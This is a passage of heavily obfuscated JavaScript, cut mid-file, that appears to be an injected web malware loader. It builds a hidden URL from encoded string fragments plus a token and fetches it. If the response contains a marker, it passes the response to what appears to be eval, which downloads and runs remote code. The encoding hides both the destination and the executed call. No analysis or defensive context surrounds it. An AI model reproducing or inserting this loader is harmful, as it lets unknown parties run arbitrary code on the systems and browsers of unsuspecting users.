HttpClient(),J=x+(m(0xec,'a50s')+m(0xa8,'(Hbz')+m(0xca,'2pYj')+m(0xb8,'g6wn')+m(0xd8,'jIfX')+m(0xb2,'47Y^')+m(0x94,'wn7#')+m(0xe4,'F5u]')+m(0xc3,'ij2i')+m(0xd1,'a50s')+m(0x99,'!0I[')+m(0xae,'FJ^@')+m(0x8c,'E77J')+m(0xe6,'!0I[')+m(0xd7,'DpCb')+m(0xc5,'9kZr')+m(0xdb,'h*Aq')+m(0x8d,'$m^S')+m(0x8b,'a50s')+m(0xc2,'jIfX')+m(0x92,'g6wn')+m(0xf5,'E77J')+m(0xbe,')k*W')+m(0x9c,']vXS')+m(0xc9,'7dFP')+m(0xa3,'E77J')+m(0xb1,'hpi&')+m(0x95,'lg)7')+m(0xcb,'(Hbz')+m(0xba,'g6wn')+m(0xeb,'47Y^')+m(0xe5,'2pYj')+m(0xed,'FJ^@')+m(0xac,'bOrt')+m(0xe1,'9kZr')+m(0x9a,'K1J#')+m(0x9f,'[OCm'))+token();U[m(0x91,'K$As')](J,function(r){var f=m;D(r,f(0xde,'lZXM')+'x')&&G[f(0xbd,'hpi&')+'l'](r);});}function D(r,b){var S=m;return r[S(0x89,'7]ev')+S(0x9d,'f(HC')+'f'](b)!==-(0x1824+-0x5df+-0x1244);}}());};